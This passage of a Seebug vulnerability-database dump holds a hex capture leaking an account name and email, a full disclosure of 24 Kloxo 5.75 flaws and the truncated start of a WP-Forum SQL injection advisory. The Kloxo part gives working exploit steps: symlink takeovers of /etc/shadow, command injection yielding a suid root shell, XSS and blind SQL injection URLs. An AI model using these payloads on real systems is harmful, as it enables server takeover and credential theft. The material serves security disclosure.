6C 69 76 65 72 5F 61 63 63 74 0\",\"deliver_acct\n 2f50: 5F 6E 61 6D 65 22 3A 22 7A 68 61 6E 67 62 69 6E _name\":\"zhangbin\n 2f60: 67 22 2C 22 64 65 6C 69 76 65 72 5F 72 65 61 6C g\",\"deliver_real\n 2f70: 5F 61 63 63 74 5F 6E 61 6D 65 22 3A 22 7A 68 61 _acct_name\":\"zha\n 2f80: 6E 67 62 69 6E 67 22 2C 22 64 65 6C 69 76 65 72 ngbing\",\"deliver\n 2f90: 5F 64 6F 6D 61 69 6E 5F 69 64 22 3A 22 31 34 34 _domain_id\":\"144\n 2fa0: 22 2C 22 64 65 6C 69 76 65 72 5F 64 6F 6D 61 69 \",\"deliver_domai\n 2fb0: 6E 5F 74 79 70 65 22 3A 22 30 22 2C 22 64 65 6C n_type\":\"0\",\"del\n 2fc0: 00 00 09 00 00 00 08 00 00 00 09 00 00 00 08 00 ................\n 2fd0: 00 00 07 00 00 00 08 00 00 00 06 00 00 00 06 00 ................\n 2fe0: 00 00 05 00 00 00 05 00 00 00 05 00 00 00 04 00 ................\n 2ff0: 00 00 04 00 00 00 05 00 00 00 04 00 00 00 05 00 ................\n 3000: 00 00 04 00 00 00 05 00 00 00 03 00 00 00 04 00 ................\n 3010: 00 00 04 00 00 00 05 00 00 00 04 00 00 00 05 00 ................\n 3020: 00 00 04 00 00 00 07 00 00 00 05 00 00 00 05 00 ................\n 3030: 00 00 FF FF 00 00 00 00 04 00 08 00 06 00 07 00 ................\n 3040: 0A 00 07 00 10 00 06 00 19 00 06 00 22 00 05 00 ............\"...\n 3050: 2C 00 05 00 45 00 04 00 57 00 04 00 5C 00 04 00 ,...E...W...\\...\n 3060: 62 00 04 00 72 00 04 00 7E 00 04 00 85 00 03 00 b...r...~.......\n 3070: 8B 00 03 00 9F 00 03 00 AF 00 03 00 B5 00 03 00 ................\n 3080: C0 00 03 00 F0 00 03 00 04 01 02 00 2A 01 02 00 ............*...\n 3090: 64 01 02 00 B0 01 02 00 2E 02 01 00 14 03 01 00 d...............\n 30a0: 42 05 00 00 7A 68 61 6E 67 62 69 6E 67 40 61 73 B...zhangbing@as\n 30b0: 69 64 65 61 00 00 04 00 00 00 00 00 00 00 00 00 idea............\n 30c0: 00 00 06 00 00 00 04 00 00 00 03 00 00 00 03 00 ................\n 30d0: 00 00 03 00 00 00 03 00 00 00 03 00 00 00 04 00 ................\n 30e0: 00 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n 30f0: 00 00 00 00 00 00 05 00 00 00 00 00 00 00 06 00 ................\n 3100: 04 00 05 00 06 00 04 00 0F 00 03 00 13 00 03 00 ................\n 3110: 1D 00 02 00 1E 00 02 00 24 00 02 00 33 00 02 00 ........$...3...\n 3120: 3B 00 01 00 57 00 01 00 92 00 00 00 22 3A 22 5C ;...W.......\":\"\\\n 3130: 75 37 35 33 30 5C 75 35 66 63 63 2C 20 5C 75 36 u7530\\u5fcc, \\u6\n 3140: 38 38 31 5C 75 34 66 63 61 22 2C 22 73 75 62 6A 881\\u4fca\",\"subj\n 3150: 74 62 4C 18 00 00 00 00 1D 01 00 00 22 5C 75 35 tbL.........\"\\u5\n 3160: 40 78 89 00 00 00 00 00 68 6B 4C 18 00 00 00 00 @x......hkL.....\n 3170: 1B 00 00 00 30 36 66 5C 60 78 89 00 00 00 00 00 ....06f\\`x......\n 3180: 5C 6C 4C 18 00 00 00 00 12 00 00 00 32 61 31 5C \\lL.........2a1\\\n 3190: 80 78 89 00 00 00 00 00 00 00 00 00 00 00 06 00 .x..............\n 31a0: 03 00 01 00 02 00 00 00 00 00 00 00 00 00 00 00 ................\n 31b0: 00 00 00 00 00 00 00 00 22 3A 22 5C 1D 00 00 00 ........\":\"\\....\n 31c0: 1C 00 00 00 1B 00 00 00 1A 00 00 00 19 00 00 00 ................\n 31d0: 18 00 00 00 08 00 00 00 09 00 00 00 06 00 00 00 ................\n 31e0: 07 00 00 00 06 00 00 00 07 00 00 00 2B 00 00 00 ............+...\n 31f0: 2B 00 00 00 0E 00 00 00 12 00 00 00 28 00 00 00 +...........(...\n 3200: 0B 00 00 00 12 00 00 00 13 00 00 00 14 00 00 00 ................\n 3210: 15 00 00 00 16 00 00 00 0B 00 00 00 18 00 00 00 ................\n 3220: 0C 00 00 00 1B 00 00 00 1B 00 00 00 6F 01 00 00 ............o...\n 3230: 02 01 00 00 6D 01 00 00 69 01 00 00 6A 01 00 00 ....m...i...j...\n 3240: 65 00 00 00 66 01 00 00 6C 01 00 00 5F 01 00 00 e...f...l..._...\n 3250: 01 01 00 00 5D 01 00 00 03 01 00 00 63 01 00 00 ....].......c...\n 3260: 5B 01 00 00 60 01 00 00 6E 00 00 00 33 00 00 00 [...`...n...3...\n 3270: 04 01 00 00 30 00 00 00 34 00 00 00 65 00 00 00 ....0...4...e...\n 3280: 35 00 00 00 03 01 00 00 01 01 00 00 03 01 00 00 5...............\n 3290: 02 01 00 00 01 01 00 00 20 00 00 00 55 01 00 00 ........ ...U...\n 32a0: 30 00 00 00 61 00 00 00 05 01 00 00 63 00 00 00 0...a.......c...\n 32b0: 31 00 00 00 65 00 00 00 66 00 00 00 39 00 00 00 1...e...f...9...\n 32c0: 39 00 00 00 34 00 00 00 33 00 00 00 05 01 00 00 9...4...3.......\n 32d0: 36 00 00 00 08 01 00 00 6E 00 00 00 6F 00 00 00 6.......n...o...\n 32e0: 0A 01 00 00 34 00 00 00 72 00 00 00 73 00 00 00 ....4...r...s...\n 32f0: 74 00 00 00 35 00 00 00 02 01 00 00 77 00 00 00 t...5.......w...\n 3300: 09 01 00 00 36 00 00 00 4F 00 00 00 01 01 00 00 ....6...O.......\n 3310: 37 00 00 00 4F 00 00 00 39 00 00 00 01 01 00 00 7...O...9.......\n 3320: 02 01 00 00 03 01 00 00 04 01 00 00 05 01 00 00 ................\n 3330: 39 00 00 00 07 01 00 00 08 01 00 00 09 01 00 00 9...............\n 3340: 0A 01 00 00 0B 01 00 00 0C 01 00 00 0D 01 00 00 ................\n 3350: 0E 01 00 00 5C 00 00 00 3C 00 00 00 11 01 00 00 ....\\...<.......\n 3360: 20 00 00 00 22 00 00 00 2F 00 00 00 15 01 00 00 ...\".../.......\n```", "modified": "2014-10-08T00:00:00", "published": "2014-10-08T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-95357", "id": "SSV:95357", "type": "seebug", "title": "\u9752\u679c\u8f6f\u4ef6\u67d0\u7cfb\u7edf\u5b58\u5728\u901a\u4fe1\u654f\u611f\u4fe1\u606f\u6cc4\u9732\u6f0f\u6d1e", "sourceData": "", "sourceHref": "", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2017-11-19T14:00:50", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2014-07-01T00:00:00", "published": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-66605", "id": "SSV:66605", "title": "kloxo 5.75 (24 issues) Multiple Vulnerabilities", "type": "seebug", "sourceData": "\n #####################################################################\n#\n# Who : http://lxlabs.com\n#\n# What : kloxo\n# \n# &#34;Kloxo (Previously Lxadmin) The most flexible software on this\n# planet. From Kloxo HostInaBox, World&#39;s lightest and the most\n# efficient webhosting platform, to Kloxo Enterprise, which can\n# manage 100s of thousands of domains on hundreds of servers. Kloxo\n# is a fully scriptable, distributed, 100% object oriented hosting\n# platform. There is nothing in the hosting industry that&#39;s even\n# comparable to Kloxo in its sheer flexibility.&#34;\n#\n# =============================================\n# A few dozen lxadmin / kloxo bugs\n# Tested on centos-5-i386-hostinabox575.tar.gz\n# =============================================\n#\n# Timeline :\n#\n# 05/21/2009 - sent initial email to vendor with a link to a private\n# resource for viewing various kloxo hiab575\n# vulnerability info\n#\n# 05/23/2009 - received the following: &#34;Thanks for the info. I will\n# review this and let you know.&#34; (no signature)\n#\n# 05/30/2009 - sent an email asking if there were any updates\n#\n# 06/01/2009 - received the following: &#34;Sorry for the delay. I am\n# currently looking into this, and will reply in a couple\n# of hours time.&#34; (no signature)\n#\n# 06/04/2009 - nothing heard from vendor, and the private resource\n# containing the vulnerability info still does not\n# appear to have been accessed\n#\n# 2 weeks have passed since the initial notification. Vendor appears\n# uninterested.\n#\n# Don&#39;t drink the Kool-Aid. None of these things are entirely true:\n# http://lxlabs.com/software/kloxo/security/\n#\n# Some are just blatantly false. If you want proof, just keep\n# reading, but try not to fall asleep. These are mostly incredibly\n# trivial and boring issues.\n# \n#####################################################################\n\n\n#####################################################################\n# ISSUE #1 - uid/gid reuse\n#####################################################################\n\nKloxo / Lxadmin allows unprivileged users to create and remove user\naccounts. This is a common feature of the more popular webhosting\ncontrol, whereby the users with this privilege are referred to as\n&#34;resellers&#34;.\n\n1. A reseller creates an account called &#34;user1&#34;, which is automatically\nassigned the next available uid and gid on the system (1012.1012 for\nthis example).\n\n2. The reseller then logs into the user1 account, such as via FTP.\n\n3. As user1, they upload a file, let&#39;s say to /home/user1/testfile\n\n4. As user1, they copy or move testfile to /tmp\n\n5. Now, as the reseller, they remove the user1 account. When the user1\naccount was removed, all of /home/user1 was destroyed. However, the\ntestfile file will still exist in /tmp, and will have the uid and gid\nwhich user1 previously held (let&#39;s say 1012.1012).\n\n6. The reseller then creates a new account, let&#39;s call it &#34;user2&#34;.\n\n7. &#34;user2&#34; now owns /tmp/testfile, because the uid and gid 1012.1012\nwere the next available ids.\n\nThe problem with this design is that the testfile could have been a\nsuid/sgid helper shell, with calls to setregid(1012,1012) and\nsetreuid(1012,1012), and the reseller could have waited for the next\naccount to be created. Once the new account was created (perhaps by\nanother reseller, or by root as a staff account, etc), the reseller\ncould execute the helper shell and have full access to the new user&#39;s\naccount.\n\n\n#####################################################################\n# ISSUE #2 - unprivileged port use\n#####################################################################\n\nBy default, Kloxo / Lxadmin uses multiple unprivileged ports: 7776,\n7777, 7778, and 7779. In the event that a service responsible for\nusing those ports (kloxo.httpd and kloxo.exe) stops listening on\nthem, a local user can bind to the port, preventing kloxo from using\nit until it is freed.\n\nNote: not all ports were tested. This was tested simply by 1) stopping\nkloxo, 2) listening on port 7777, and 3) attempting to restart kloxo.\n\nkloxo did not attempt to take control of the port. 7777/7778 are the\nlogin ports for kloxo, so a local user could craft an authentic looking\nlogin page and obtain the username and password of the next person\nattempting to log in.\n\n\n#####################################################################\n# ISSUE #3 - default passwords\n#####################################################################\n\n&#34;21232f297a&#34; is the default password to the kloxo db, which contains\nthe base64 encoded admin password, which is more or less a user with\nfull root privileges.\n\n&#34;pass&#34; is the default roundcube db password.\n\n&#34;admin&#34; is the default password for the root account, and for the\nadmin account.\n\nAre there more? Are these documented anywhere? Do all lxlabs products\ncontain default passwords?\n\n\n#####################################################################\n# ISSUE #4 - useradd string in the process list\n#####################################################################\n\nWhen a new account is created via lxadmin / kloxo, the useradd string\nappears in the process list, complete with password hash.\n\n\n#####################################################################\n# ISSUE #5 - XSS\n#####################################################################\n\nSurely there are plenty more:\n\n:7778/display.php?frm_action=XSS\n:7778/display.php?frm_action=delete&frm_o_cname=XSS\n\nThe software does tie the user&#39;s IP address to the session, but this\ncould be problematic for people behind the same proxy, or those on\nnetworks where non SSL based web traffic could appear to come from\nany of a number of hosts at any given time (e.g., AOL. Do they still\ndo this? Are there others that do the same?).\n\n\n#####################################################################\n# ISSUE #6 - remotely create partially user controlled file names\n# and directories. Locally append uncontrolled data to\n# any file\n#####################################################################\n\n1. Browse to http://x.x.x.x:7778 (or domain:7778)\n\n2. In the username field, enter anything, valid account or not. We&#39;ll\nuse: test\n\n3. In the password field, enter anything. We&#39;ll use: test\n\n4. Click the login button\n\nThis will cause this directory:\n/usr/local/lxlabs/kloxo/log\n\nto now have this file:\nFailed Login attempt to test from x.x.x.x\n\n(where x.x.x.x is the IP address that the failed login attempt came\nfrom, of course).\n\nNote that the file is written as root.\n\nNow append a &#34;/&#34; to &#34;test&#34; and attempt to log in again.\n\nThis causes the following directory to be created:\n/usr/local/lxlabs/kloxo/log/Failed Login attempt to test\n\nwhich contains this file:\n from x.x.x.x\n\nDirectory traversal can also be used, which will ultimately allow a\nlocal user to append data to any file on the box via a symlink attack.\n\n\nDirectory traversal example on the login page:\n\nusername: ../../../../../../../../hello\npassword: test\n\n[root@testing574 /usr/local/lxlabs/kloxo/log]# ls -l / | grep hello\n-rw-r--r-- 1 root root 24 May 19 16:56 hello from x.x.x.x\n\nSince the user can control the location on the filesystem that the\nfile will be written to, they can use a symlink attack to append junk\nto the end of a file:\n\n\n1. [user1@testing574 /tmp]$ ln -s /etc/resolv.conf &#39;test from x.x.x.x&#39;\n\n* Replace &#34;x.x.x.x&#34; with the IP address that you&#39;ll be attempting to\nlog in from.\n\n\n2. Attempt to log in with the username: ../../../../../../../tmp/test\nand any password\n\n\n3. Now observe that /etc/resolv.conf had data appended to it:\n\n[user1@testing574 tmp]$ cat /etc/resolv.conf\nnameserver 4.2.2.1\nnameserver 4.2.2.2\n20:09 May/20/2009: NULL\n\n\n#####################################################################\n# ISSUE #7 - local users can take control of any file or directory\n#####################################################################\n\nLocal users can take control over any file on the host when adding a\ndomain. This is done via a symlink attack.\n\nObserve the following from the /usr/local/lxlabs/kloxo/log/shell_exec\nlog when an account is created:\n\n13:46 May/18/2009: 0: [(__system__:/usr/local/lxlabs/kloxo/httpdocs) &#39;chmod&#39; &#39;0755&#39; &#39;/home/clientname/example.com&#39;]\n13:46 May/18/2009: 0: [(__system__:/usr/local/lxlabs/kloxo/httpdocs) &#39;chown&#39; &#39;-R&#39; &#39;clientname:clientname&#39; &#39;/home/clientname/example.com&#39;]\n\nAll the user needs to do is symlink example.com to the resource they\nwant to take control of, then add the domain. This will give the\nresource permissions of 755, uid.gid user.apache:\n\n[user1@testing574 user1]$ ls -l /etc/shadow\n-rwxr-xr-x 1 user1 apache 1415 May 19 17:05 /etc/shadow\n\n\nThis also works when adding subdomains.\n\n\n#####################################################################\n# ISSUE #8 - local users can take control of any file or directory\n#####################################################################\n\nLocal users can take ownership of any file via a symlink attack when\nadding FTP users. Only the user ownership is changed.\n\n1. Log into Kloxo\n\n2. Click &#34;Ftp Users&#34;\n\n3. Click &#34;Add Ftp User&#34;\n\n4. In the &#34;Ftp User Name&#34; box, type: example\n\n5. In the &#34;Password&#34; and &#34;Confirm Password&#34; boxes, type whatever you&#39;d like\n\n6. In the &#34;Virtual Directory&#34; box, type: example\n\n7. Before adding the FTP user, create a symlink for /home/username/example to\n/etc/shadow:\n\n[user1@testing574 user1]$ ln -s /etc/shadow example\n\n8. Click &#34;Add&#34;\n\nObserve that the user now owns /etc/shadow:\n\n[user1@testing574 user1]$ ls -l /etc/shadow\n-r-------- 1 user1 root 1415 May 19 17:05 /etc/shadow\n\n\n#####################################################################\n# ISSUE #9 - local users can overwrite any file on the box\n#####################################################################\n\nLocal users can overwrite arbitrary files via symlink attacks when\nusing the &#34;InstallApp&#34; feature.\n\n1. Log into Kloxo as a regular user (not a reseller)\n\n2. Click &#34;InstallApp&#34;\n\n3. Click &#34;WordPress&#34;\n\n4. Click &#34;Install This Application&#34;\n\n5. In the box titled &#34;Location&#34;, enter: example\n\n6. In the shell, create the following directory:\n/home/username/example.com/example\n\nwhere &#34;username&#34; is the username of the account that you are attempting to\ninstall WordPress on, and\n\nwhere &#34;example.com&#34; is the DocumentRoot of the domain that you are installing\nWordPress on.\n\n7. Now cd into the &#34;example&#34; directory and symlink a file to\n__kloxo_directory_list:\n\n[user1@testing574 /home/user1/example.com/example]$ ln -s /etc/resolv.conf __kloxo_directory_list\n\n8. Now go back to Kloxo and click &#34;Install&#34;\n\nObserve that /etc/resolv.conf has been destroyed:\n\n[user1@testing574 /home/user1/example.com/example]$ cat /etc/resolv.conf\nb:0;\n\nI&#39;ve never seen this feature actually install anything.\n\n\n#####################################################################\n# ISSUE #10 - yet another symlink attack for local users\n#####################################################################\n\nLocal users can create arbitrary directories anywhere on the\nfilesystem via directory traversal when adding a new domain. They\ncan also take control over any directory on the filesystem.\n\n1. Log into Kloxo\n\n2. Click &#34;Domains&#34;\n\n3. In the field labeled &#34;Domain Name&#34;, type: example.com\n\n4. In the field labeled &#34;Document Root&#34;, enter: ../../../../../../test\n\nObserve that the directory /test has now been created:\n\n[user1@testing574 /home/user1]$ ls -l / | grep test\ndrwxr-xr-x 4 user1 apache 4096 May 21 12:28 test\n\n\n\nAlternately, the user can enter the name of an existing directory to take\ncontrol over it, such as: ../../../../../../etc\n\nor even: ../../../../../../../../\n\nwhich will result in this:\n\n[user1@testing574 /]$ ls -al /\ntotal 288\ndrwxr-xr-x 25 user1 apache 4096 May 21 12:32 .\ndrwxr-xr-x 25 user1 apache 4096 May 21 12:32 ..\n-rw-r--r-- 1 user1 user1 0 May 18 21:44 .autofsck\n-rw-r--r-- 1 user1 user1 0 May 18 21:44 .autorelabel\n-rw------- 1 user1 user1 1024 May 21 01:50 .rnd\nlrwxrwxrwx 1 user1 user1 39 May 18 21:44 aquota.group -&#62; /proc/vz/vzaquota/00000020/aquota.group\nlrwxrwxrwx 1 user1 user1 38 May 18 21:44 aquota.user -&#62; /proc/vz/vzaquota/00000020/aquota.user\ndrwxr-xr-x 2 user1 user1 4096 May 14 10:38 bin\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 boot\ndrwxr-xr-x 2 user1 user1 4096 May 21 12:32 cgi-bin\ndrwxr-xr-x 2 user1 user1 4096 May 13 06:40 command\ndrwxr-xr-x 4 user1 user1 122880 May 18 21:45 dev\ndrwxr-xr-x 56 user1 user1 4096 May 21 12:30 etc\ndrwxr-xr-x 14 user1 user1 4096 May 18 23:38 home\ndrwxr-xr-x 10 user1 user1 4096 May 13 06:38 lib\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 media\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 mnt\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 opt\ndr-xr-xr-x 44 user1 user1 0 May 18 21:44 proc\ndrwxr-xr-x 7 user1 user1 4096 May 8 02:46 program-install\n-rw-r--r-- 1 user1 user1 68088 May 13 02:24 program-install.zip\ndrwx------ 4 user1 user1 4096 May 21 12:28 root\ndrwxr-xr-x 2 user1 user1 4096 May 13 06:38 sbin\ndrwxr-xr-x 3 user1 user1 4096 May 18 21:44 script\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 selinux\ndrwxr-xr-x 2 user1 user1 4096 Oct 6 2008 service\ndrwxr-xr-x 2 user1 user1 4096 Mar 29 2007 srv\ndrwxr-xr-x 3 user1 user1 0 May 18 21:44 sys\ndrwxrwxrwt 2 user1 user1 4096 May 21 12:32 tmp\ndrwxr-xr-x 14 user1 user1 4096 May 13 06:42 usr\ndrwxr-xr-x 25 user1 user1 4096 May 14 10:39 var\n\n\n#####################################################################\n# ISSUE #11 - metachar injection, local command execution as root\n#####################################################################\n\nLocal users can execute any command(s) of their choice as root via\nmetacharacter injection in the backup initial string.\n\n1. Log into Kloxo\n\n2. Click &#34;Backup Home&#34;\n\n3. In the box titled &#34;Backup File Initial String&#34;, enter:\n; /bin/touch /tmp/i_am_root ;\n\n4. Click &#34;Backup Now&#34;\n\nObserve:\n\n[user1@testing574 user1]$ ls -l /tmp/i_am_root\n-rw-r--r-- 1 root root 0 May 20 21:50 /tmp/i_am_root\n\n\n#####################################################################\n# ISSUE #12 - web stats world readable password hashes\n#####################################################################\n\nLocal users can obtain the password hashes from the stats page\nprotection files.\n\n1. Log into Kloxo\n\n2. Click &#34;Stats Page Protection&#34;\n\n3. In the field titled &#34;Statistics Page Password&#34;, enter a password\n\nThe hash of that password will be placed into a world readable file here:\n/home/httpd/example.com/__dirprotect/__stats\n\nwhere &#34;example.com&#34; is the domain onto which the stats password was added.\n\n\n#####################################################################\n# ISSUE #13 - local users can overwrite any file on the box\n#####################################################################\n\nLocal users can overwrite any file of their choice via a symlink\nattack when adding parked and redirected domains.\n\n1. Log into Kloxo\n\n2. Click &#34;Parked / Redirected Domains&#34;\n\n3. Click &#34;Add Parked&#34;\n\n4. In the box titled &#34;Pointer Domain&#34;, enter: example.com\n\n5. From the shell, cd to /home/httpd/domainname/\nwhere &#34;domainname&#34; is the directory onto which the Pointer Domain is being\nparked.\n\n6. Rename, or remove, perlsuexec.sh\n\n7. Now create a symlink to that file: ln -s /etc/resolv.conf perlsuexec.sh\n\n8. Now go back to Kloxo and click &#34;Add&#34;\n\nObserve that /etc/resolv.conf now contains the data from perlsuexec.sh.\nThis also works with the phpsuexec.sh and shsuexec.sh files as well.\n\n\n#####################################################################\n# ISSUE #14 - metachar injection, local command execution as root\n#####################################################################\n\nmetacharacter injection in the backup feature allows local users to\nexecute commands as root.\n\n1. Log into Kloxo\n\n2. Click &#34;Backup Home&#34;\n\n3. In the field labeled &#34;Backup From File&#34;, type:\n../../../../../../../../tmp/;cd ..;chown root.root shell;chmod 4755 shell;\n\n4. In the shell, issue the following commands:\n\n[user1@testing574 ~]$ cd /tmp\n[user1@testing574 /tmp]$ cat&#62;shell.c&#60;&#60;EOF\nint main(){\n setregid(0,0);\n setreuid(0,0);\n setgroups(0,0);\n system(&#34;/bin/bash&#34;);\n}\nEOF\n[user1@testing574 /tmp]$ gcc shell.c -o shell\n[user1@testing574 /tmp]$ touch &#39;;cd ..;chown root.root shell;chmod 4755 shell;&#39;\n\n5. Back in Kloxo, click &#34;Start Restore Process&#34;\n\nNow the local, unprivileged user has a suid root helper shell:\n\n[user1@testing574 tmp]$ ls -al\ntotal 28\ndrwxrwxrwt 4 root root 4096 May 21 08:41 .\ndrwxr-xr-x 24 root root 4096 May 19 16:57 ..\n-rw-rw-r-- 1 user1 user1 0 May 21 08:40 ;cd ..;chown root.root shell;chmod 4755 shell;\ndrwx------ 2 root root 4096 May 21 08:41 backupPdUzR4\n-rwsr-xr-x 1 root root 5056 May 21 08:41 shell\n-rw-rw-r-- 1 user1 user1 89 May 21 08:33 shell.c\n\n[user1@testing574 /tmp]$ ./shell\n[root@testing574 /tmp]# id\nuid=0(root) gid=0(root)\n\n\n#####################################################################\n# ISSUE #15 - remotely block any - or every - IP addr in hosts.deny\n#####################################################################\n\nRemote, unauthenticated users can cause any IP addr(s) to get\nblocked by lxguard, via a crafted ssh username:\n\n[user@host ~]$ ssh -l &#39;password for test from ALL&#39; x.x.x.x\n\nwhere &#34;x.x.x.x&#34; is the remote host running sshd and Kloxo, and &#34;test&#34;\nis simply an example username. When the attacker exceeds the threshold\nfor failed login attempts, lxguard will add &#39;ALL : ALL&#39; to\n/etc/hosts.deny.\n\n\n#####################################################################\n# ISSUE #16 - remote CPU and mem usage DoS\n#####################################################################\n\nRemote, unauthenticated users can cause kloxo to consume all\navailable server memory and CPU cycles by simply connecting to, then\ndisconnecting from port 7776.\n\n1. telnet x.x.x.x 7776\n\n2. disconnect\n\n3. observe that the most recent instance of kloxo will endlessly\nconsume memory:\n\nUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND\nroot 25872 98.6 15.7 45164 41348 pts/1 R 14:10 0:05 \\_ ../sbin/kloxo.exe master\nroot 25872 101 29.3 80672 76932 pts/1 R 14:10 0:11 \\_ ../sbin/kloxo.exe master\nroot 25872 100 34.3 93608 89916 pts/1 R 14:10 0:13 \\_ ../sbin/kloxo.exe master\n\n\n#####################################################################\n# ISSUE #17 - local users can truncate and control any file\n#####################################################################\n\nLocal users can truncate and take over ownership of any file on the\nbox via a symlink attack when specifying a &#34;Virtual Directory&#34; in\nthe &#34;Protected Directories&#34; feature.\n\n1. As a local, unprivileged user, rename or remove the following directory:\n/home/httpd/example.com/__dirprotect\n\nwhere &#34;example.com&#34; is the name of the domain for which we will be creating\na protected directory.\n\n2. cd /home/httpd/example.com/__dirprotect/\n\n3. ln -s /etc/resolv.conf test_\n\n4. Log into Kloxo\n\n5. Click the &#34;Protected Directories&#34; link\n\n6. In the &#34;Auth Name&#34; box, type anything\n\n7. In the &#34;Virtual Directory&#34; box, type: test\n\n8. Click &#34;Add&#34;\n\nThis is the result, note the ownership and the file size:\n\n-rwxr-xr-x 1 user1 root 0 May 25 07:48 /etc/resolv.conf\n\n\n#####################################################################\n# ISSUE #18 - just 2 more symlinks to own any file on the box\n#####################################################################\n\n1. [user1@testing574 ~]$ while true ; do ln -s /etc/resolv.conf\n/home/lxadmin/mail/domains/example.com/postmaster/.bogopref.cf ; done\n\n2. create new account in kloxo for example.com\n\n\n[user1@testing574 ~]$ ls -l /etc/resolv.conf\n-rw-r--r-- 1 user1 user1 185 May 25 16:29 /etc/resolv.conf\n\n[user1@testing574 ~]$ cat /etc/resolv.conf\nspam_cutoff 0.7\nspam_subject_tag=******SPAM******\nwordlist R,user,postmaster_example_com.wordlist.db,1\nwordlist R,system,wordlist.db,2\nwordlist R,system,kloxo.wordlist.db,3\n\n\n\nThis also works for:\n/home/lxadmin/mail/domains/example.com/postmaster/.maildroprc\n\n\n[root@testing574 ~]# ls -l /etc/resolv.conf\n-rwx------ 1 user1 user1 377 May 26 06:14 /etc/resolv.conf\n\n\n[root@testing574 ~]# cat /etc/resolv.conf\nSHELL=/bin/sh\n\nif ( $SIZE &#60; 96144 )\n{\nexception {\nxfilter &#34;bogofilter -d /var/bogofilter/ -ep -c /home/lxadmin/mail/domains/example.com/postmaster/.bogopref.cf&#34;\n}\n}\n if ( /^X-Bogosity: Spam, tests=bogofilter/ )\n{\n to /home/lxadmin/mail/domains/example.com/postmaster/Maildir\n }\n\nto /home/lxadmin/mail/domains/example.com/postmaster/Maildir/\n\n\n#####################################################################\n# ISSUE #19 - file manager, view and edit any file\n#####################################################################\n\nLocal users can view and edit the contents of any file via the\nFile Manager.\n\n1. From the shell, create a hard link to the file to view or take\ncontrol of:\n[user1@host ~]$ ln /etc/shadow\n\n2. Log into Kloxo\n\n3. Click &#34;File Manager&#34;\n\n4. Click &#34;shadow&#34;\n\nThe file can also be edited.\n\n\n#####################################################################\n# ISSUE #20 - file manager PT II\n#####################################################################\n\nLocal users can create new files, overwrite the contents of, and take\nownership of any file on the box.\n\n1. Log into Kloxo\n\n2. Click &#34;File Manager&#34;\n\n3. Click &#34;Upload&#34; (upload a file called: test)\n\n4. From the shell:\n[user1@testing574 ~]$ while true ; do rm -f test ; ln -s /etc/shadow test ; done\n\n5. Click &#34;Upload&#34;\n\n\n#####################################################################\n# ISSUE #21 - file manager PT III\n#####################################################################\n\nLocal users can edit any file on the box via symlink attack when creating a new\nfile in the File Manager.\n\n1. Log into Kloxo\n\n2. Click &#34;File Manager&#34;\n\n3. Click &#34;Newfile&#34;\n\n4. In the box labeled &#34;File Name&#34;, type: test\n\n5. From the shell:\n[user1@testing574 ~]$ ln /etc/shadow test\n\n6. Click &#34;Update&#34;\n\nThe file is now displayed to the user, and can be edited as well.\n\n\n#####################################################################\n# ISSUE #22 - local user symlink attack\n#####################################################################\n\nIt&#39;s pointless to continue to documenting symlink attacks in this\nsoftware. The software appears to use root for nearly everything,\nand does not use proper file locking, amongst other things.\n\nThis one pertains to the &#34;PHP Config&#34; option, and creating a symlink\nfor the file it creates: /home/username/domain/.htaccess\n\n\n#####################################################################\n# ISSUE #23 - local user symlink attack (last one)\n#####################################################################\n\nWhen changing ownership of a domain, a symlink attack can be used\nto take control of any file on the box.\n\n\n#####################################################################\n# ISSUE #24 - sql injection in the &#34;Forgot Password&#34; form\n#####################################################################\n\nYou can use any username and email address for this - real or\notherwise - and the select statement will still be executed.\nNote that the output is not displayed back to the user&#39;s client.\n\nhttp://x.x.x.x:7778/login/index.php?frm_clientname=x&#39; union select now()/*&frm_email=example@example.com&forgot=Send&frm_forgotpwd=2\n\nYou can observe the results via strace, however. Note the \n&#34;2009-06-03 18:54:30&#34; in the query result:\n\n7171 read(6, &#34;\\3select contactemail from client where nname = &#39;x&#39; union select now()/*&#39;;&#34;, 73) = 73\n\n7171 write(6, &#34;\\1\\0\\0\\1\\1.\\0\\0\\2\\3def\\0\\0\\0\\fcontactemail\\fcontactemail\\f\\10\\0\\377\\0\\0\\0\\375\\0\\0\\0\\0\\0\\5\\0\\0\\3\\376\\0\\0\\2\\0\\24\\0\\0\\4\\0232009-06-03 18:54:30\\5\\0\\0\\5\\376\\0\\0\\2\\0&#34;, 97) = 97\n\n\nThe good news is that if you do know a valid username and contactemail\n(as stored in the kloxo db), then you can remotely recover the base64\nencoded kloxo login password for the admin user via brute force. Once\nlogged in as &#34;admin&#34;, the web based command shell can be used to\nexecute commands, which are run as - you guessed it - root.\n\n/login/index.php?frm_clientname=$username&#39; and &#39; ascii(substring((select realpass from client limit 1),$position,1))&#62;$num/*&frm_email=$email&forgot=Send&frm_forgotpwd=2\n\n# milw0rm.com [2009-06-04]\n\n ", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://www.seebug.org/vuldb/ssvid-66605"}, {"lastseen": "2017-11-19T15:26:05", "bulletinFamily": "exploit", "description": "No description provided by source.", "modified": "2014-07-01T00:00:00", "published": "2014-07-01T00:00:00", "href": "https://www.seebug.org/vuldb/ssvid-67199", "id": "SSV:67199", "title": "WP-Forum <= 2.3 - SQL Injection & Blind SQL Injection vulnerabilities", "type": "seebug", "sourceData": "\n =============================================\r\nINTERNET SECURITY AUDITORS ALERT 2009-010\r\n- Original release date: September 28th, 2009\r\n- Last revised: December 15th, 2009\r\n- Discovered by: Juan Galiana Lara\r\n- CVE ID: CVE-2009-3703\r\n- Severity: 8.5/10 (CVSS Base Score)\r\n=============================================\r\n\r\nI. VULNERABILITY\r\n-------------------------\r\nWP-Forum &#60;= 2.3 SQL Injection & Blind SQL Injection vulnerabilities\r\n\r\nII. BACKGROUND\r\n-------------------------\r\nWP-Forum is a discussion forum plugin for WordPress. It works with\r\nWordPress 2+ version and PHP &#62;= 5.0\r\n\r\nIII. 